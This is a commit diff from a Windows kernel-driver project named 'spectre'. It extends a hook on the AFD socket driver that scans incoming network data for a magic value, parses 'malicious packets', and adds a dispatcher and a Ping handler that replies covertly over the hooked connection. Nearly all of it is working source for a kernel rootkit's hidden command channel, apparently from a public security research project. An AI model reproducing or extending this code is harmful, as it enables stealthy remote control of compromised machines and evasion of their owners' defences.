Dispatcher and Handler added, works with partial recv's.

spectre/spectre kernel/AfdHook.cpp

@@ -67,6 +67,7 @@ AfdHook::HookAfdIoctl (
 	fileObject = NULL;
 	foundMagic = FALSE;
 	recvBuffer = NULL;
+	packetDispatch = NULL;
 	magicOffset = 0;
 
 	//
@@ -185,8 +186,10 @@ AfdHook::HookAfdIoctl (
 				// Scan the buffer for a magic value.
 				// The reason we do not increment by 4 is because we don't know what data
 				// prepends the magic. It may well be misaligned.
+				// We subtract a DWORD from the length to make sure we aren't
+				// reading after the end of the buffer.
 				//
-				for (i = 0; i < totalRecvLength; i++)
+				for (i = 0; i <= (totalRecvLength - sizeof(DWORD)); i++)
 				{
 					if (*RCAST<DWORD*>(RCAST<ULONG64>(recvBuffer) + i) == PACKET_MAGIC)
 					{
@@ -215,14 +218,16 @@ AfdHook::HookAfdIoctl (
 																							recvBuffer,
 																							totalRecvLength,
 																							magicOffset);
-				if (packetDispatch->Process() == FALSE)
+				if (NT_SUCCESS(packetDispatch->Process()) == FALSE)
 				{
 					DBGPRINT("AfdHook!HookAfdIoctl: Failed to process the packet.");
 				}
 				else
 				{
 					DBGPRINT("AfdHook!HookAfdIoctl: Processed the packet successfully.");
 				}
+
+
 			}
 			__except (1)
 			{
@@ -233,6 +238,10 @@ AfdHook::HookAfdIoctl (
 		}
 	}
 Exit:
+	if (packetDispatch)
+	{
+		ExFreePoolWithTag(packetDispatch, AFD_PACKET_DISPATCH_TAG);
+	}
 	if (recvBuffer)
 	{
 		ExFreePoolWithTag(recvBuffer, MALICIOUS_PACKET_TAG);

spectre/spectre kernel/PacketDispatch.cpp

@@ -5,6 +5,7 @@
  * COPYRIGHT Bill Demirkapi 2020
  */
 #include "PacketDispatch.h"
+#include "PingPacketHandler.h"
 
 /**
 	Populate the necessary members in the PacketDispatch class.
@@ -157,7 +158,7 @@ PacketDispatch::SendSynchronousAfdRequest (
 */
 BOOLEAN
 PacketDispatch::SendBuffer (
-	_In_ CHAR* Buffer,
+	_In_ PVOID Buffer,
 	_In_ SIZE_T BufferSize
 	)
 {
@@ -278,7 +279,7 @@ PacketDispatch::SendBuffer (
 */
 BOOLEAN
 PacketDispatch::ReceiveBuffer (
-	_In_ CHAR* Buffer,
+	_In_ PVOID Buffer,
 	_In_ SIZE_T BufferSize,
 	_Inout_ ULONG* BytesReceived
 	)
@@ -395,7 +396,7 @@ PacketDispatch::ReceiveBuffer (
 	@param RemainingBytes - The number of bytes remaining after the base packet.
 	@return Whether or not parsing was successful. Fails if cannot receive more bytes.
 */
-BOOLEAN
+NTSTATUS
 PacketDispatch::PopulateBasePacket (
 	_Inout_ PBASE_PACKET PartialBasePacket,
 	_Inout_ ULONG* RemainingBytes
@@ -439,7 +440,7 @@ PacketDispatch::PopulateBasePacket (
 								   &bytesReceived) == FALSE)
 			{
 				DBGPRINT("PacketDispatch!PopulateBasePacket: Failed to receive rest of base packet.");
-				return FALSE;
+				return STATUS_NO_MEMORY;
 			}
 			bytesAfterMagic += bytesReceived;
 			receiveRetryCount++;
@@ -453,7 +454,7 @@ PacketDispatch::PopulateBasePacket (
 		{
 			NT_ASSERT(FALSE);
 			DBGPRINT("PacketDispatch!PopulateBasePacket: Failed to receive base packet.");
-			return FALSE;
+			return STATUS_RETRY;
 		}
 
 		DBGPRINT("PacketDispatch!PopulateBasePacket: Received the rest of the base packet.");
@@ -466,7 +467,7 @@ PacketDispatch::PopulateBasePacket (
 		*RemainingBytes = bytesAfterMagic - sizeof(BASE_PACKET);
 	}
 
-	return TRUE;
+	return STATUS_SUCCESS;
 }
 
 /**
@@ -476,7 +477,7 @@ PacketDispatch::PopulateBasePacket (
 	@param RemainingBytes - The number of bytes remaining after the BASE_PACKET.
 	@return Whether or not we were able to successfully populate the rest of a malicious packet.
 */
-BOOLEAN
+NTSTATUS
 PacketDispatch::PopulateMaliciousPacket (
 	_In_ PBASE_PACKET PartialBasePacket,
 	_Inout_ PBASE_PACKET FullBasePacket,
@@ -543,7 +544,7 @@ PacketDispatch::PopulateMaliciousPacket (
 									&bytesReceived) == FALSE)
 			{
 				DBGPRINT("PacketDispatch!ProcessMaliciousPacket: Failed to receive rest of full packet.");
-				return FALSE;
+				return STATUS_NO_MEMORY;
 			}
 
 			//
@@ -561,35 +562,35 @@ PacketDispatch::PopulateMaliciousPacket (
 		{
 			NT_ASSERT(FALSE);
 			DBGPRINT("PacketDispatch!ProcessMaliciousPacket: Failed to receive malicious packet.");
-			return FALSE;
+			return STATUS_RETRY;
 		}
 	}
 
-	return TRUE;
+	return STATUS_SUCCESS;
 }
 
 /**
 	Process the malicious packet.
 	@return Whether or not processing succeeded.
 */
-BOOLEAN
+NTSTATUS
 PacketDispatch::Process (
 	VOID
 	)
 {
-	BOOLEAN result;
+	NTSTATUS result;
 	BASE_PACKET partialBasePacket;
 	PBASE_PACKET fullBasePacket;
 	ULONG remainingBytes;
 
 	fullBasePacket = NULL;
-	result = TRUE;
+	result = STATUS_SUCCESS;
 
 	//
 	// Populate a partial base packet.
 	//
 	result = PopulateBasePacket(&partialBasePacket, &remainingBytes);
-	if (result == FALSE)
+	if (NT_SUCCESS(result) == FALSE)
 	{
 		DBGPRINT("PacketDispatch!Process: Failed to parse a partial base packet.");
 		goto Exit;
@@ -602,6 +603,7 @@ PacketDispatch::Process (
 	if (fullBasePacket == NULL)
 	{
 		DBGPRINT("PacketDispatch!Process: Failed to allocate space for the full malicious packet with size %i.", partialBasePacket.PacketLength);
+		result = STATUS_NO_MEMORY;
 		goto Exit;
 	}
 	memset(fullBasePacket, 0, partialBasePacket.PacketLength);
@@ -612,14 +614,15 @@ PacketDispatch::Process (
 	// Populate the full malicious packet.
 	//
 	result = PopulateMaliciousPacket(&partialBasePacket, fullBasePacket, remainingBytes);
-	if (result == FALSE)
+	if (NT_SUCCESS(result) == FALSE)
 	{
 		DBGPRINT("PacketDispatch!Process: Failed to parse a full base packet.");
 		goto Exit;
 	}
 
-	DBGPRINT("PacketDispatch!Process: Received full packet with type %i.", fullBasePacket->Type);
+	DBGPRINT("PacketDispatch!Process: Received full packet with type %i, dispatching.", fullBasePacket->Type);
 
+	result = this->Dispatch(fullBasePacket);
 Exit:
 	if (fullBasePacket)
 	{
@@ -633,16 +636,48 @@ PacketDispatch::Process (
 	@param FullPacket - The packet to dispatch.
 	@return Whether or not there were issues with dispatching.
 */
-BOOLEAN
+NTSTATUS
 PacketDispatch::Dispatch (
 	_In_ PBASE_PACKET FullPacket
 	)
 {
+	NTSTATUS status;
+	PPACKET_HANDLER handler;
+	ULONG handlerTag;
+
+	PPING_PACKET_HANDLER pingHandler;
+
+	handler = NULL;
+	handlerTag = 0;
+	status = STATUS_NO_MEMORY;
+
 	//
-	// Main dispatch table.
+	// First, set the proper handler and its tag by the Type fron the FullPacket.
 	//
 	switch (FullPacket->Type)
 	{
+	case Ping:
+		pingHandler = new (NonPagedPool, PING_PACKET_HANDLER_TAG) PingPacketHandler(this);
+		handler = pingHandler;
+		handlerTag = PING_PACKET_HANDLER_TAG;
+		break;
+	default:
+		status = STATUS_NOT_SUPPORTED;
+		break;
+	}
+
+	if (handler)
+	{
+		//
+		// Process the packet.
+		//
+		status = handler->ProcessPacket(FullPacket);
 
+		//
+		// Make sure to free the handler.
+		//
+		ExFreePoolWithTag(handler, handlerTag);
 	}
+
+	return status;
 }

spectre/spectre kernel/PacketDispatch.h

@@ -9,34 +9,21 @@
 
 typedef class PacketDispatch
 {
-	BOOLEAN PopulateBasePacket (
+	NTSTATUS PopulateBasePacket (
 		_Inout_ PBASE_PACKET PartialBasePacket,
 		_Inout_ ULONG* RemainingBytes
 		);
-	BOOLEAN PopulateMaliciousPacket (
+	NTSTATUS PopulateMaliciousPacket (
 		_In_ PBASE_PACKET PartialBasePacket,
 		_Inout_ PBASE_PACKET FullBasePacket,
 		_In_ ULONG RemainingBytes
 		);
-	BOOLEAN SendBuffer (
-		_In_ CHAR* Buffer,
-		_In_ SIZE_T BufferSize
-		);
-	BOOLEAN ReceiveBuffer (
-		_In_ CHAR* Buffer,
-		_In_ SIZE_T BufferSize,
-		_Inout_ ULONG* BytesReceived
-		);
 	NTSTATUS SendSynchronousAfdRequest (
 		_In_ ULONG IoctlCode,
 		_In_ PVOID InputBuffer,
 		_In_ ULONG InputBufferSize,
 		_In_ PIO_STATUS_BLOCK IoStatusBlock
 		);
-	BOOLEAN Dispatch (
-		_In_ PBASE_PACKET FullPacket
-		);
-
 	//
 	// Constant used as a maximum amount of retries.
 	//
@@ -80,9 +67,21 @@ typedef class PacketDispatch
 		_In_ ULONG RecvBufferSize,
 		_In_ ULONG MagicOffset
 		);
-	BOOLEAN Process (
+	NTSTATUS Process (
 		VOID
 		);
+	BOOLEAN SendBuffer (
+		_In_ PVOID Buffer,
+		_In_ SIZE_T BufferSize
+		);
+	BOOLEAN ReceiveBuffer (
+		_In_ PVOID Buffer,
+		_In_ SIZE_T BufferSize,
+		_Inout_ ULONG* BytesReceived
+		);
+	NTSTATUS Dispatch (
+		_In_ PBASE_PACKET FullPacket
+		);
 } PACKET_DISPATCH, *PPACKET_DISPATCH;
 
 #define MALICIOUS_PACKET_TAG 'pMpS'

spectre/spectre kernel/PacketHandler.h

@@ -10,6 +10,7 @@
 
 typedef class PacketHandler
 {
+protected:
 	//
 	// The packet dispatcher is used for sending and receiving network messages.
 	// It can also be used to dispatch a sub-packet.
@@ -20,7 +21,7 @@ typedef class PacketHandler
 		_In_ PPACKET_DISPATCH Dispatcher
 		);
 
-	virtual BOOLEAN ProcessPacket (
+	virtual NTSTATUS ProcessPacket (
 		_In_ PBASE_PACKET FullPacket
-		);
+		) = 0;
 } PACKET_HANDLER, *PPACKET_HANDLER;

spectre/spectre kernel/PingPacketHandler.cpp

@@ -0,0 +1,41 @@
+/*
+ * This file is subject to the terms and conditions defined in
+ * file 'LICENSE', which is part of this source code package.
+ *
+ * COPYRIGHT Bill Demirkapi 2020
+ */
+#include "PingPacketHandler.h"
+
+/**
+    Process a PING packet.
+    @param FullPacket - Pointer to the full malicious packet.
+    @return Whether or not processing was successful.
+*/
+NTSTATUS
+PingPacketHandler::ProcessPacket (
+    _In_ PBASE_PACKET FullPacket
+    )
+{
+    MAGIC_BASE_PACKET responsePacket;
+
+    //
+    // For pings, we don't need to touch the packet.
+    //
+    UNREFERENCED_PARAMETER(FullPacket);
+
+    DBGPRINT("PingPacketHandler!ProcessPacket: Received PING packet!");
+
+    //
+    // For pings, just respond with another ping packet.
+    //
+    responsePacket.Magic = PACKET_MAGIC;
+    responsePacket.Base.Type = Ping;
+    responsePacket.Base.PacketLength = sizeof(responsePacket);
+
+    //
+    // Send the response.
+    //
+    this->PacketDispatch->SendBuffer(&responsePacket, sizeof(responsePacket));
+
+    return STATUS_SUCCESS;
+}

spectre/spectre kernel/PingPacketHandler.h

@@ -0,0 +1,20 @@
+/*
+ * This file is subject to the terms and conditions defined in
+ * file 'LICENSE', which is part of this source code package.
+ *
+ * COPYRIGHT Bill Demirkapi 2020
+ */
+#pragma once
+#include "common.h"
+#include "PacketHandler.h"
+
+typedef class PingPacketHandler : public PacketHandler
+{
+public:
+    using PacketHandler::PacketHandler;
+    NTSTATUS ProcessPacket (
+        _In_ PBASE_PACKET FullPacket
+        );
+} PING_PACKET_HANDLER, *PPING_PACKET_HANDLER;
+
+#define PING_PACKET_HANDLER_TAG 'hPpS'